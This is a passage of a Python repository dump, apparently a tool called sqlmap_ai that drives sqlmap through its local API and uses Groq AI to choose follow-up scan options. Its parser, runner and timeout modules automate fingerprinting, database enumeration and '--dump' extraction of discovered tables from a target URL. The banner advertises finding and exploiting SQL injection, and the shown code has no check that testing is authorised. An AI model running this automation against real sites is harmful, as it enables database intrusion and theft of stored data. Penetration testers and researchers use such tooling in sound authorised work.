timeout=user_timeout, interactive=interactive_mode) 123 | if report: 124 | print_success("Initial reconnaissance completed!") 125 | initial_info = extract_sqlmap_info(report) 126 | scan_history.append({ 127 | "step": "initial_reconnaissance", 128 | "command": f"sqlmap -u {target_url} --fingerprint --dbs", 129 | "result": initial_info 130 | }) 131 | if "TIMEOUT:" in report: 132 | continue_scan, updated_report = handle_timeout_response(report, target_url, runner) 133 | if not continue_scan: 134 | return 135 | if updated_report: 136 | report = updated_report 137 | timeout_info = extract_sqlmap_info(updated_report) 138 | scan_history.append({ 139 | "step": "timeout_fallback", 140 | "command": "Fallback scan after timeout", 141 | "result": timeout_info 142 | }) 143 | if "INTERRUPTED:" in report: 144 | print_warning("Scan was interrupted by user. Stopping here.") 145 | return 146 | display_report(report) 147 | print_info("Analyzing results with Groq AI and determining next steps...") 148 | next_options = ai_suggest_next_steps( 149 | report=report, 150 | scan_history=scan_history, 151 | extracted_data=extracted_data 152 | ) 153 | if next_options: 154 | user_options = get_user_choice(next_options) 155 | if user_options: 156 | print_info("Running follow-up scan...") 157 | second_timeout = int(user_timeout * 1.5) 158 | result = runner.run_sqlmap(target_url, user_options, timeout=second_timeout, interactive_mode=interactive_mode) 159 | if result and "TIMEOUT:" in result: 160 | print_warning("Follow-up scan timed out.") 161 | print_info("You may still get useful results from the partial scan data.") 162 | if result: 163 | print_success("Test completed successfully!") 164 | followup_info = extract_sqlmap_info(result) 165 | scan_history.append({ 166 | "step": "follow_up_scan", 167 | "command": f"sqlmap -u {target_url} {user_options}", 168 | "result": followup_info 169 | }) 170 | display_report(result) 171 | if ( 172 | followup_info.get("tables") 173 | and followup_info.get("columns") 174 | and confirm_additional_step() 175 | ): 176 | print_info("Starting data extraction...") 177 | extraction_options = f"--dump -T {','.join(followup_info['tables'][:3])}" 178 | extraction_result = runner.run_sqlmap( 179 | target_url, 180 | extraction_options, 181 | timeout=second_timeout, 182 | interactive_mode=interactive_mode 183 | ) 184 | if extraction_result: 185 | print_success("Data extraction completed!") 186 | extraction_info = extract_sqlmap_info(extraction_result) 187 | scan_history.append({ 188 | "step": "data_extraction", 189 | "command": f"sqlmap -u {target_url} {extraction_options}", 190 | "result": extraction_info 191 | }) 192 | if extraction_info.get("extracted"): 193 | extracted_data.update(extraction_info["extracted"]) 194 | display_report(extraction_result) 195 | if confirm_save_report(): 196 | print_info("Creating report file...") 197 | filename = f"sqlmap_report_{int(time.time())}.json" 198 | try: 199 | json_report = create_json_report(followup_info, scan_history) 200 | save_report_to_file(json_report, filename) 201 | print_success(f"Report saved to {filename}") 202 | except Exception as e: 203 | print_error(f"Failed to save report: {str(e)}") 204 | else: 205 | print_error("Follow-up test failed. Check SQLMap output for details.") 206 | else: 207 | print_warning("No clear vulnerabilities found. Try different parameters or advanced options.") 208 | else: 209 | print_error("Initial test failed. Check target URL and try again.") 210 | def confirm_additional_step(): 211 | while True: 212 | choice = input("\nWould you like to extract data from discovered tables? (y/n): ").lower() 213 | if choice in ["y", "yes"]: 214 | return True 215 | elif choice in ["n", "no"]: 216 | return False 217 | else: 218 | print("Please answer with 'y' or 'n'.") 219 | if __name__ == "__main__": 220 | main() -------------------------------------------------------------------------------- /sqlmap_ai/parser.py: -------------------------------------------------------------------------------- 1 | import re 2 | import json 3 | from typing import Dict, List, Any, Optional 4 | from sqlmap_ai.ui import print_success, print_warning, print_info, print_error 5 | import time 6 | def extract_sqlmap_info(output: str) -> Dict[str, Any]: 7 | if not output: 8 | return {} 9 | result = { 10 | "vulnerable_parameters": [], 11 | "techniques": [], 12 | "databases": [], 13 | "tables": [], 14 | "columns": {}, 15 | "dbms": "Unknown", 16 | "os": "Unknown", 17 | "waf_detected": False, 18 | "web_app": [], 19 | "payloads": [], 20 | "raw_result": output, 21 | "url": "" 22 | } 23 | 24 | # Extract target URL 25 | url_pattern = r"starting @ \d+:\d+:\d+ /\d+-\d+-\d+/\s+\nURL: (https?://[^\s]+)" 26 | url_match = re.search(url_pattern, output) 27 | if url_match: 28 | result["url"] = url_match.group(1).strip() 29 | 30 | # Alternative URL extraction method for different formats 31 | if not result["url"]: 32 | alt_url_pattern = r"(?:testing URL|target URL): (https?://[^\s\n]+)" 33 | alt_url_match = re.search(alt_url_pattern, output, re.IGNORECASE) 34 | if alt_url_match: 35 | result["url"] = alt_url_match.group(1).strip() 36 | 37 | # Look for URL in command line args 38 | if not result["url"]: 39 | cmd_url_pattern = r"sqlmap(.py)? -u (?:\"|\')?(https?://[^\"\']+)(?:\"|\')?(?:\s|$)" 40 | cmd_url_match = re.search(cmd_url_pattern, output) 41 | if cmd_url_match: 42 | result["url"] = cmd_url_match.group(2).strip() 43 | 44 | # Check if URL has path parameter injection marker (*) 45 | if "*" in result["url"]: 46 | result["injection_type"] = "path_parameter" 47 | elif "--data=" in output: 48 | result["injection_type"] = "post_parameter" 49 | elif "--cookie=" in output: 50 | result["injection_type"] = "cookie_based" 51 | elif "--headers=" in output: 52 | result["injection_type"] = "header_based" 53 | elif "--json" in output: 54 | result["injection_type"] = "json_body" 55 | elif "?" in result["url"] and "&" in result["url"]: 56 | result["injection_type"] = "multi_parameter" 57 | elif "?" in result["url"]: 58 | result["injection_type"] = "get_parameter" 59 | 60 | if "Connection refused" in output: 61 | result["error"] = "Connection refused - Target may not be reachable" 62 | return result 63 | if "unable to connect to the target URL" in output: 64 | result["error"] = "Unable to connect to the target URL" 65 | return result 66 | if "No parameter(s) found for testing" in output: 67 | result["warning"] = "No parameter(s) found for testing in the URL" 68 | return result 69 | if "WAF/IPS" in output or "firewall" in output.lower(): 70 | result["waf_detected"] = True 71 | waf_match = re.search(r"WAF/IPS identified as '?([^'\r\n]+)'?", output) 72 | if waf_match: 73 | result["waf_type"] = waf_match.group(1).strip() 74 | dbms_match = re.search(r"back-end DBMS: ([^\r\n]+)", output) 75 | if dbms_match: 76 | result["dbms"] = dbms_match.group(1).strip() 77 | if "mysql" in result["dbms"].lower(): 78 | result["techniques"].append("MySQL") 79 | elif "microsoft sql server" in result["dbms"].lower() or "mssql" in result["dbms"].lower(): 80 | result["techniques"].append("MSSQL") 81 | elif "oracle" in result["dbms"].lower(): 82 | result["techniques"].append("Oracle") 83 | elif "postgresql" in result["dbms"].lower(): 84 | result["techniques"].append("PostgreSQL") 85 | elif "sqlite" in result["dbms"].lower(): 86 | result["techniques"].append("SQLite") 87 | os_match = re.search(r"web server operating system: ([^\r\n]+)", output) 88 | if os_match: 89 | result["os"] = os_match.group(1).strip() 90 | web_app_match = re.search(r"web application technology: ([^\r\n]+)", output) 91 | if web_app_match: 92 | tech_str = web_app_match.group(1).strip() 93 | result["web_app"] = [tech.strip() for tech in tech_str.split(",")] 94 | param_pattern = r"Parameter: ([^ ]+) \(([^)]+)\)" 95 | param_matches = re.findall(param_pattern, output) 96 | for param, method in param_matches: 97 | if param not in result["vulnerable_parameters"]: 98 | result["vulnerable_parameters"].append(param) 99 | payload_pattern = r"Payload: (.*?)(?=\n\n|\Z)" 100 | payload_matches = re.findall(payload_pattern, output, re.DOTALL) 101 | result["payloads"] = [payload.strip() for payload in payload_matches] 102 | databases_pattern = r"available databases \[\d+\]:\n(.*?)(?=\n\n|\Z)" 103 | databases_match = re.search(databases_pattern, output, re.DOTALL) 104 | if databases_match: 105 | db_section = databases_match.group(1) 106 | db_lines = db_section.strip().split('\n') 107 | for line in db_lines: 108 | db_name = re.sub(r'^\[\*\]\s+', '', line).strip() 109 | if db_name and db_name not in result["databases"]: 110 | result["databases"].append(db_name) 111 | tables_pattern = r"Database: ([^\s]+)\n.*?tables \[\d+\]:\n(.*?)(?=\n\n|\Z)" 112 | tables_matches = re.findall(tables_pattern, output, re.DOTALL) 113 | for db_name, tables_section in tables_matches: 114 | table_lines = tables_section.strip().split('\n') 115 | for line in table_lines: 116 | table_name = re.sub(r'^\[\d+\]\s+', '', line).strip() 117 | if table_name and table_name not in result["tables"]: 118 | result["tables"].append(table_name) 119 | columns_pattern = r"Table: ([^\s]+)\n.*?columns \[\d+\]:\n(.*?)(?=\n\n|\Z)" 120 | columns_matches = re.findall(columns_pattern, output, re.DOTALL) 121 | for table_name, columns_section in columns_matches: 122 | column_lines = columns_section.strip().split('\n') 123 | columns = [] 124 | for line in column_lines: 125 | column_match = re.search(r'^\[\d+\]\s+([^\s]+)', line) 126 | if column_match: 127 | columns.append(column_match.group(1).strip()) 128 | if columns: 129 | result["columns"][table_name] = columns 130 | result["extracted"] = extract_dumped_data(output) 131 | return result 132 | def extract_dumped_data(output: str) -> Dict[str, Dict[str, Any]]: 133 | extracted_data = {} 134 | table_dump_pattern = r"Database: ([^\n]+).*?Table: ([^\n]+).*?\[\d+ entries\].*?(\+[-+]+\+\n\|.*?\+[-+]+\+)" 135 | table_dumps = re.findall(table_dump_pattern, output, re.DOTALL) 136 | for db_name, table_name, table_data in table_dumps: 137 | db_name = db_name.strip() 138 | table_name = table_name.strip() 139 | if '.' in table_name: 140 | key = table_name 141 | else: 142 | key = f"{db_name}.{table_name}" 143 | header_pattern = r"\|\s+([^|]+)" 144 | headers = re.findall(header_pattern, table_data.split('\n')[1]) 145 | columns = [h.strip() for h in headers] 146 | extracted_data[key] = { 147 | "columns": columns, 148 | "raw_result": table_data 149 | } 150 | return extracted_data 151 | def display_report(report: str) -> None: 152 | print("\n" + "=" * 50) 153 | print(" SQLMap SCAN RESULTS") 154 | print("=" * 50 + "\n") 155 | info = extract_sqlmap_info(report) 156 | if "error" in info: 157 | print_error(info["error"]) 158 | return 159 | if "warning" in info: 160 | print_warning(info["warning"]) 161 | if info["databases"]: 162 | print_success("Discovered Databases:") 163 | for db in info["databases"]: 164 | print(f" → {db}") 165 | print() 166 | if info["tables"]: 167 | print_success("Discovered Tables:") 168 | for table in info["tables"]: 169 | print(f" → {table}") 170 | print() 171 | if "techniques" in info and info["techniques"]: 172 | print_success("Injection Techniques:") 173 | for technique in info["techniques"]: 174 | print(f" → {technique}") 175 | print() 176 | if "payloads" in info and info["payloads"]: 177 | print_success("Payload Examples:") 178 | for i, payload in enumerate(info["payloads"]): 179 | if i >= 3: 180 | break 181 | formatted_payload = payload.replace('\n', ' ').strip() 182 | print(f" → {formatted_payload}") 183 | print() 184 | if "vulnerable_parameters" in info and info["vulnerable_parameters"]: 185 | print_success("Vulnerable Parameters:") 186 | for param in info["vulnerable_parameters"]: 187 | print(f" → {param}") 188 | print() 189 | if "extracted" in info and info["extracted"]: 190 | print_success("Extracted Data:") 191 | for table, data in info["extracted"].items(): 192 | print(f" → Table: {table}") 193 | if "columns" in data: 194 | print(f" Columns: {', '.join(data['columns'])}") 195 | print() 196 | if info["waf_detected"]: 197 | print_warning("WAF/IPS Detection:") 198 | if "waf_type" in info: 199 | print_warning(f" → WAF identified as: {info['waf_type']}") 200 | else: 201 | print_warning(" → Generic WAF/IPS/Firewall detected") 202 | print() 203 | if info["dbms"] != "Unknown": 204 | print_info("DBMS Information:") 205 | print(f" → {info['dbms']}") 206 | print() 207 | if info["os"] != "Unknown": 208 | print_info("OS Information:") 209 | print(f" → {info['os']}") 210 | print() 211 | if info["web_app"]: 212 | print_info("Web Application Technology:") 213 | for tech in info["web_app"]: 214 | print(f" → {tech}") 215 | print() 216 | def save_report_to_file(report: str, filename: str) -> None: 217 | try: 218 | with open(filename, 'w') as f: 219 | f.write(report) 220 | print_success(f"Report saved to {filename}") 221 | except Exception as e: 222 | print_error(f"Failed to save report: {str(e)}") 223 | def create_json_report(info: Dict[str, Any], scan_history: List[Dict[str, Any]]) -> str: 224 | report = { 225 | "timestamp": int(time.time()), 226 | "scan_info": info, 227 | "scan_history": scan_history 228 | } 229 | try: 230 | return json.dumps(report, indent=2) 231 | except Exception as e: 232 | print_error(f"Failed to create JSON report: {str(e)}") 233 | return "{}" -------------------------------------------------------------------------------- /sqlmap_ai/runner.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | import time 4 | import json 5 | import requests 6 | from typing import List, Dict, Any, Optional, Union 7 | from sqlmap_ai.ui import print_info, print_warning, print_error, print_success 8 | 9 | class SQLMapAPIRunner: 10 | def __init__(self): 11 | self.script_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) 12 | self.sqlmap_path = os.path.join(self.script_dir, "sqlmap") 13 | self.sqlmap_api_script = os.path.join(self.sqlmap_path, "sqlmapapi.py") 14 | self.api_server = "http://127.0.0.1:8775" 15 | self.current_task_id = None 16 | 17 | if not os.path.exists(self.sqlmap_api_script): 18 | print_error(f"sqlmapapi.py not found in {self.sqlmap_path}. Make sure sqlmap is in the correct directory.") 19 | sys.exit(1) 20 | 21 | # Start API server if not already running 22 | self._start_api_server() 23 | 24 | def _start_api_server(self): 25 | """Start the sqlmapapi server if not already running.""" 26 | import subprocess 27 | try: 28 | # Check if the server is already running 29 | response = requests.get(f"{self.api_server}/admin/0/version") 30 | if response.status_code == 200: 31 | print_info("SQLMap API server is already running.") 32 | return 33 | except: 34 | print_info("Starting SQLMap API server...") 35 | subprocess.Popen( 36 | [sys.executable, self.sqlmap_api_script, "-s"], 37 | cwd=self.script_dir 38 | ) 39 | time.sleep(2) # Wait for the server to start 40 | 41 | def _create_new_task(self) -> Optional[str]: 42 | """Create a new scan task and return its ID.""" 43 | try: 44 | response = requests.get(f"{self.api_server}/task/new") 45 | data = response.json() 46 | 47 | if data["success"]: 48 | task_id = data["taskid"] 49 | print_info(f"Created new task with ID: {task_id}") 50 | self.current_task_id = task_id 51 | return task_id 52 | else: 53 | print_error("Failed to create new task") 54 | return None 55 | except Exception as e: 56 | print_error(f"Error creating new task: {str(e)}") 57 | return None 58 | 59 | def _start_scan(self, task_id: str, target_url: str, options: Union[List[str], str]) -> bool: 60 | """Start a scan for the specified target with given options.""" 61 | scan_options = { 62 | "url": target_url, 63 | "flushSession": True, 64 | "getBanner": True, 65 | } 66 | 67 | # Process options list into a dictionary 68 | if isinstance(options, list): 69 | for opt in options: 70 | if opt.startswith("--batch"): 71 | scan_options["batch"] = True 72 | elif opt.startswith("--threads="): 73 | scan_options["threads"] = int(opt.split("=")[1]) 74 | elif opt.startswith("--dbms="): 75 | scan_options["dbms"] = opt.split("=")[1] 76 | elif opt.startswith("--level="): 77 | scan_options["level"] = int(opt.split("=")[1]) 78 | elif opt.startswith("--risk="): 79 | scan_options["risk"] = int(opt.split("=")[1]) 80 | elif opt.startswith("--technique="): 81 | scan_options["technique"] = opt.split("=")[1] 82 | elif opt.startswith("--time-sec="): 83 | scan_options["timeSec"] = int(opt.split("=")[1]) 84 | elif opt.startswith("--tamper="): 85 | scan_options["tamper"] = opt.split("=")[1] 86 | elif opt == "--fingerprint": 87 | scan_options["getBanner"] = True 88 | scan_options["getDbms"] = True 89 | elif opt == "--dbs": 90 | scan_options["getDbs"] = True 91 | elif opt == "--tables": 92 | scan_options["getTables"] = True 93 | elif opt == "--dump": 94 | scan_options["dump"] = True 95 | elif opt == "--identify-waf": 96 | scan_options["identifyWaf"] = True 97 | elif opt == "--forms": 98 | scan_options["forms"] = True 99 | elif opt == "--common-tables": 100 | scan_options["getCommonTables"] = True 101 | elif opt == "--common-columns": 102 | scan_options["getCommonColumns"] = True 103 | elif opt.startswith("-D "): 104 | scan_options["db"] = opt[3:] 105 | elif opt.startswith("-T "): 106 | scan_options["tbl"] = opt[3:] 107 | elif opt.startswith("-C "): 108 | scan_options["col"] = opt[3:] 109 | elif opt.startswith("--data=") or opt.startswith("--data "): 110 | data_value = opt.split("=")[1] if "=" in opt else opt[7:] 111 | scan_options["data"] = data_value 112 | elif opt.startswith("--cookie=") or opt.startswith("--cookie "): 113 | cookie_value = opt.split("=")[1] if "=" in opt else opt[9:] 114 | scan_options["cookie"] = cookie_value 115 | elif opt.startswith("--headers=") or opt.startswith("--headers "): 116 | headers_value = opt.split("=")[1] if "=" in opt else opt[10:] 117 | scan_options["headers"] = headers_value 118 | elif opt == "--is-dba": 119 | scan_options["isDba"] = True 120 | elif opt == "--current-user": 121 | scan_options["getCurrentUser"] = True 122 | elif opt == "--privileges": 123 | scan_options["getPrivileges"] = True 124 | elif opt == "--schema": 125 | scan_options["getSchema"] = True 126 | elif opt == "--json": 127 | # Handle JSON request format - already using JSON so just note it 128 | pass 129 | elif isinstance(options, str): 130 | # If options is a string, split and process the same way 131 | self._start_scan(task_id, target_url, options.split()) 132 | return True 133 | 134 | # Set some defaults if not specified 135 | if "threads" not in scan_options: 136 | scan_options["threads"] = 5 137 | if "level" not in scan_options: 138 | scan_options["level"] = 1 139 | if "risk" not in scan_options: 140 | scan_options["risk"] = 1 141 | if "batch" not in scan_options: 142 | scan_options["batch"] = True 143 | 144 | try: 145 | headers = {"Content-Type": "application/json"} 146 | response = requests.post( 147 | f"{self.api_server}/scan/{task_id}/start", 148 | data=json.dumps(scan_options), 149 | headers=headers 150 | ) 151 | data = response.json() 152 | 153 | if data["success"]: 154 | print_info(f"Scan started for task ID: {task_id}") 155 | return True 156 | else: 157 | print_error(f"Failed to start scan for task ID: {task_id}") 158 | print_error(f"Error: {data.get('message', 'Unknown error')}") 159 | return False 160 | except Exception as e: 161 | print_error(f"Error starting scan: {str(e)}") 162 | return False 163 | 164 | def _get_scan_status(self, task_id: str) -> Optional[str]: 165 | """Get the status of a scan.""" 166 | try: 167 | response = requests.get(f"{self.api_server}/scan/{task_id}/status") 168 | data = response.json() 169 | 170 | if data["success"]: 171 | return data["status"] 172 | else: 173 | print_error(f"Failed to get status for task ID: {task_id}") 174 | return None 175 | except Exception as e: 176 | print_error(f"Error getting scan status: {str(e)}") 177 | return None 178 | 179 | def _get_scan_data(self, task_id: str) -> Optional[Dict[str, Any]]: 180 | """Get the scan results.""" 181 | try: 182 | response = requests.get(f"{self.api_server}/scan/{task_id}/data") 183 | data = response.json() 184 | 185 | if data["success"]: 186 | return data["data"] 187 | else: 188 | print_error(f"Failed to get data for task ID: {task_id}") 189 | return None 190 | except Exception as e: 191 | print_error(f"Error getting scan data: {str(e)}") 192 | return None 193 | 194 | def _delete_task(self, task_id: str) -> bool: 195 | """Delete a task.""" 196 | try: 197 | response = requests.get(f"{self.api_server}/task/{task_id}/delete") 198 | data = response.json() 199 | 200 | if data["success"]: 201 | print_info(f"Task {task_id} deleted successfully") 202 | return True 203 | else: 204 | print_error(f"Failed to delete task {task_id}") 205 | return False 206 | except Exception as e: 207 | print_error(f"Error deleting task: {str(e)}") 208 | return False 209 | 210 | def _monitor_scan(self, task_id: str, timeout: int = 120, interactive_mode: bool = False) -> Optional[str]: 211 | """Monitor the scan until it completes or times out.""" 212 | start_time = time.time() 213 | last_output_time = start_time 214 | spinner_chars = ['|', '/', '-', '\\'] 215 | spinner_idx = 0 216 | last_spinner_update = time.time() 217 | spinner_interval = 0.2 218 | last_progress_message = "" 219 | 220 | print_info("Starting SQLMap scan...") 221 | print_info("Running", end='', flush=True) 222 | 223 | try: 224 | while True: 225 | current_time = time.time() 226 | if current_time - last_spinner_update >= spinner_interval: 227 | print(f"\b{spinner_chars[spinner_idx]}", end='', flush=True) 228 | spinner_idx = (spinner_idx + 1) % len(spinner_chars) 229 | last_spinner_update = current_time 230 | 231 | elapsed_time = current_time - start_time 232 | 233 | if elapsed_time > timeout: 234 | print("\b \nSQLMap command timeout after {:.1f} seconds".format(elapsed_time)) 235 | print_warning(f"SQLMap command timeout after {elapsed_time:.1f} seconds") 236 | return "TIMEOUT: Command execution exceeded time limit" 237 | 238 | status = self._get_scan_status(task_id) 239 | 240 | if status == "running": 241 | # Optionally get log data to show progress 242 | if interactive_mode and current_time - last_output_time > 5: 243 | log_data = self._get_scan_logs(task_id) 244 | if log_data: 245 | last_lines = log_data.splitlines()[-5:] 246 | for line in last_lines: 247 | if line and line != last_progress_message: 248 | print("\b \b", end='', flush=True) 249 | print(f"\r\033[K{line}") 250 | print("Running", end='', flush=True) 251 | last_progress_message = line 252 | last_output_time = current_time 253 | time.sleep(1) 254 | continue 255 | elif status == "terminated": 256 | print("\b \nScan completed") 257 | break 258 | else: 259 | print(f"\b \nUnexpected status: {status}") 260 | break 261 | 262 | time.sleep(0.5) 263 | 264 | print("\b \b", end='', flush=True) 265 | print() # New line after spinner 266 | 267 | # Get the results 268 | result_data = self._get_scan_data(task_id) 269 | if not result_data: 270 | return None 271 | 272 | # Convert API response to a format similar to CLI output 273 | formatted_output = self._format_api_data(result_data) 274 | return formatted_output 275 | 276 | except KeyboardInterrupt: 277 | print("\b \b", end='', flush=True) 278 | print("\nProcess interrupted by user") 279 | print_warning("\nProcess interrupted by user") 280 | return "INTERRUPTED: Process was stopped by user" 281 | except Exception as e: 282 | print("\b \b", end='', flush=True) 283 | print_error(f"Error monitoring scan: {str(e)}") 284 | return None 285 | 286 | def _get_scan_logs(self, task_id: str) -> Optional[str]: 287 | """Get the scan logs.""" 288 | try: 289 | response = requests.get(f"{self.api_server}/scan/{task_id}/log") 290 | data = response.json() 291 | 292 | if data["success"]: 293 | return "\n".join(entry["message"] for entry in data["log"]) 294 | else: 295 | return None 296 | except: 297 | return None 298 | 299 | def _format_api_data(self, data: List[Dict[str, Any]]) -> str: 300 | """Format the API response data to a string similar to CLI output.""" 301 | output_lines = [] 302 | 303 | # Map of API data types to formatted sections 304 | type_map = { 305 | 1: "vulnerable parameters", 306 | 2: "back-end DBMS", 307 | 3: "banner", 308 | 4: "current user", 309 | 5: "current database", 310 | 6: "hostname", 311 | 7: "is DBA", 312 | 8: "users", 313 | 9: "passwords", 314 | 10: "privileges", 315 | 11: "roles", 316 | 12: "databases", 317 | 13: "tables", 318 | 14: "columns", 319 | 15: "schema", 320 | 16: "count", 321 | 17: "dump table", 322 | 18: "dump", 323 | 19: "search", 324 | 20: "SQL query", 325 | 21: "common tables", 326 | 22: "common columns", 327 | 23: "file read", 328 | 24: "file write", 329 | 25: "os cmd", 330 | 26: "reg key", 331 | 27: "reg value", 332 | 28: "reg data", 333 | 29: "reg enum" 334 | } 335 | 336 | # Process each data entry by type 337 | for entry in data: 338 | entry_type = entry.get("type") 339 | value = entry.get("value") 340 | 341 | if entry_type == 1: # Vulnerable parameters 342 | output_lines.append("[+] the following parameters are vulnerable to SQL injection:") 343 | for vuln in value: 344 | output_lines.append(f" Parameter: {vuln.get('parameter')} ({vuln.get('place')})") 345 | if vuln.get("payload"): 346 | output_lines.append(f" Payload: {vuln.get('payload')}") 347 | 348 | elif entry_type == 2: # DBMS 349 | output_lines.append(f"[+] back-end DBMS: {value}") 350 | 351 | elif entry_type == 3: # Banner 352 | output_lines.append(f"[+] banner: {value}") 353 | 354 | elif entry_type == 4: # Current user 355 | output_lines.append(f"[+] current user: {value}") 356 | 357 | elif entry_type == 7: # Is DBA 358 | output_lines.append(f"[+] is DBA: {'yes' if value else 'no'}") 359 | 360 | elif entry_type == 12: # Databases 361 | output_lines.append(f"[+] available databases [{len(value)}]:") 362 | for db in value: 363 | output_lines.append(f"[*] {db}") 364 | 365 | elif entry_type == 13: # Tables 366 | output_lines.append(f"[+] Database: {list(value.keys())[0]}") 367 | tables = list(value.values())[0] 368 | output_lines.append(f"[+] tables [{len(tables)}]:") 369 | for i, table in enumerate(tables): 370 | output_lines.append(f"[{i+1}] {table}") 371 | 372 | elif entry_type == 14: # Columns 373 | for db, tables in value.items(): 374 | output_lines.append(f"[+] Database: {db}") 375 | for table, columns in tables.items(): 376 | output_lines.append(f"[+] Table: {table}") 377 | output_lines.append(f"[+] columns [{len(columns)}]:") 378 | for i, column in enumerate(columns): 379 | output_lines.append(f"[{i+1}] {column}") 380 | 381 | elif entry_type == 18: # Dump 382 | for db, tables in value.items(): 383 | output_lines.append(f"[+] Database: {db}") 384 | for table, data in tables.items(): 385 | output_lines.append(f"[+] Table: {table}") 386 | output_lines.append(f"[+] [{len(data.get('entries', []))} entries]") 387 | columns = data.get("columns", []) 388 | entries = data.get("entries", []) 389 | 390 | # Create table header 391 | header = "| " + " | ".join(columns) + " |" 392 | separator = "+" + "+".join(["-" * (len(col) + 2) for col in columns]) + "+" 393 | output_lines.append(separator) 394 | output_lines.append(header) 395 | output_lines.append(separator) 396 | 397 | # Add data rows 398 | for entry in entries: 399 | row = "| " + " | ".join(str(entry.get(col, "NULL")) for col in columns) + " |" 400 | output_lines.append(row) 401 | output_lines.append(separator) 402 | 403 | elif entry_type == 24: # Common tables 404 | output_lines.append(f"[+] found common tables: {', '.join(value)}") 405 | 406 | elif entry_type == 25: # Common columns 407 | output_lines.append(f"[+] found common columns: {', '.join(value)}") 408 | 409 | # Add more type handlers as needed 410 | 411 | return "\n".join(output_lines) 412 | 413 | def run_sqlmap(self, target_url: str, options: Union[List[str], str], timeout: int = 180, interactive_mode: bool = False) -> Optional[str]: 414 | """Run sqlmap with API against the target URL and return the results.""" 415 | task_id = self._create_new_task() 416 | if not task_id: 417 | return None 418 | 419 | command_str = f"sqlmap -u {target_url}" 420 | if isinstance(options, list): 421 | command_str += " " + " ".join(options) 422 | else: 423 | command_str += " " + options 424 | 425 | print_info(f"Executing SQLMap command: {command_str}") 426 | print_info(f"Timeout set to {timeout} seconds. Press Ctrl+C to cancel.") 427 | 428 | if not self._start_scan(task_id, target_url, options): 429 | self._delete_task(task_id) 430 | return None 431 | 432 | result = self._monitor_scan(task_id, timeout, interactive_mode) 433 | 434 | # Clean up task 435 | self._delete_task(task_id) 436 | 437 | if result: 438 | if not interactive_mode: 439 | result_lines = result.split('\n') 440 | if len(result_lines) > 20: 441 | print("\n".join(result_lines[-20:])) 442 | print_info("Showing last 20 lines of output. Full results will be analyzed.") 443 | else: 444 | print(result) 445 | print_success("SQLMap execution completed") 446 | return result 447 | else: 448 | print_error("SQLMap execution failed") 449 | return None 450 | 451 | def gather_info(self, target_url: str, timeout: int = 120, interactive: bool = False) -> Optional[str]: 452 | """Run basic fingerprinting and database enumeration.""" 453 | print_info("Running basic fingerprinting and database enumeration...") 454 | print_info("This will identify the database type and list available databases.") 455 | print_info("If scan takes too long, you can press Ctrl+C to interrupt it") 456 | 457 | try: 458 | result = self.run_sqlmap( 459 | target_url=target_url, 460 | options=["--fingerprint", "--dbs", "--threads=5"], 461 | timeout=timeout, 462 | interactive_mode=interactive 463 | ) 464 | return result 465 | except Exception as e: 466 | print_error(f"Error running basic scan: {str(e)}") 467 | return None 468 | 469 | def fallback_options_for_timeout(self, target_url: str) -> Optional[str]: 470 | """Run with more focused options after a timeout.""" 471 | print_info("Original scan timed out. Running with more focused options...") 472 | print_info("This will attempt a faster scan with fewer test vectors.") 473 | 474 | fallback_options = [ 475 | "--technique=BT", 476 | "--level=1", 477 | "--risk=1", 478 | "--time-sec=1", 479 | "--timeout=10", 480 | "--retries=1", 481 | "--threads=8", 482 | "--dbs" 483 | ] 484 | 485 | try: 486 | result = self.run_sqlmap( 487 | target_url=target_url, 488 | options=fallback_options, 489 | timeout=90 490 | ) 491 | return result 492 | except Exception as e: 493 | print_error(f"Error running fallback scan: {str(e)}") 494 | return None 495 | 496 | # Alias for backward compatibility 497 | SQLMapRunner = SQLMapAPIRunner -------------------------------------------------------------------------------- /sqlmap_ai/timeout_handler.py: -------------------------------------------------------------------------------- 1 | from sqlmap_ai.ui import ( 2 | print_warning, 3 | print_info, 4 | handle_timeout_ui, 5 | handle_no_data_timeout_ui 6 | ) 7 | def handle_timeout_response(report, target_url, runner): 8 | print_warning("The scan timed out. This could be due to several reasons:") 9 | print("1. The target application might be slow to respond") 10 | print("2. Network latency issues") 11 | print("3. Intrusion prevention systems or WAFs might be blocking the scan") 12 | print("4. The target might be performing complex operations that take longer") 13 | print_info("\nRecommended actions:") 14 | if report and report.startswith("TIMEOUT_WITH_PARTIAL_DATA:"): 15 | fallback_opts = runner.fallback_options_for_timeout(target_url) 16 | choice, new_timeout = handle_timeout_ui(fallback_opts, target_url) 17 | if choice == '1': 18 | return True, report 19 | elif choice == '2': 20 | new_report = runner.run_sqlmap(target_url, fallback_opts, timeout=new_timeout) 21 | return True, new_report 22 | elif choice == '3': 23 | new_report = runner.run_sqlmap(target_url, ["--fingerprint", "--dbs"], timeout=new_timeout) 24 | return True, new_report 25 | else: 26 | print_warning("Invalid choice. Stopping here.") 27 | return False, None 28 | else: 29 | choice, new_timeout, fallback_opts = handle_no_data_timeout_ui(target_url) 30 | if choice == '1': 31 | new_report = runner.run_sqlmap(target_url, fallback_opts, timeout=new_timeout) 32 | return True, new_report 33 | elif choice == '2': 34 | new_report = runner.run_sqlmap(target_url, ["--fingerprint", "--dbs"], timeout=new_timeout) 35 | return True, new_report 36 | elif choice == '3': 37 | print_info("Please restart the script with a different URL or parameter.") 38 | return False, None 39 | else: 40 | print_warning("Invalid choice. Stopping here.") 41 | return False, None -------------------------------------------------------------------------------- /sqlmap_ai/ui.py: -------------------------------------------------------------------------------- 1 | import os 2 | from colorama import init, Fore, Style 3 | init() 4 | def print_banner(): 5 | banner = r""" 6 | ────▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀█─█ 7 | ▀▀▀▀▄─█─█─█─█─█─█──█▀█ 8 | ─────▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀─▀ 9 | 10 | SQL Injection Testing Assistant powered by AI 11 | Helping you find and exploit SQL injection vulnerabilities 12 | Author: @atiilla 13 | """ 14 | print(banner) 15 | def print_info(message, **kwargs): 16 | if 'end' in kwargs: 17 | print(f"{Fore.BLUE}[INFO] {message}{Style.RESET_ALL}", end=kwargs['end'], flush=kwargs.get('flush', False)) 18 | else: 19 | print(f"{Fore.BLUE}[INFO] {message}{Style.RESET_ALL}") 20 | def print_success(message, **kwargs): 21 | if 'end' in kwargs: 22 | print(f"{Fore.GREEN}[SUCCESS] {message}{Style.RESET_ALL}", end=kwargs['end'], flush=kwargs.get('flush', False)) 23 | else: 24 | print(f"{Fore.GREEN}[SUCCESS] {message}{Style.RESET_ALL}") 25 | 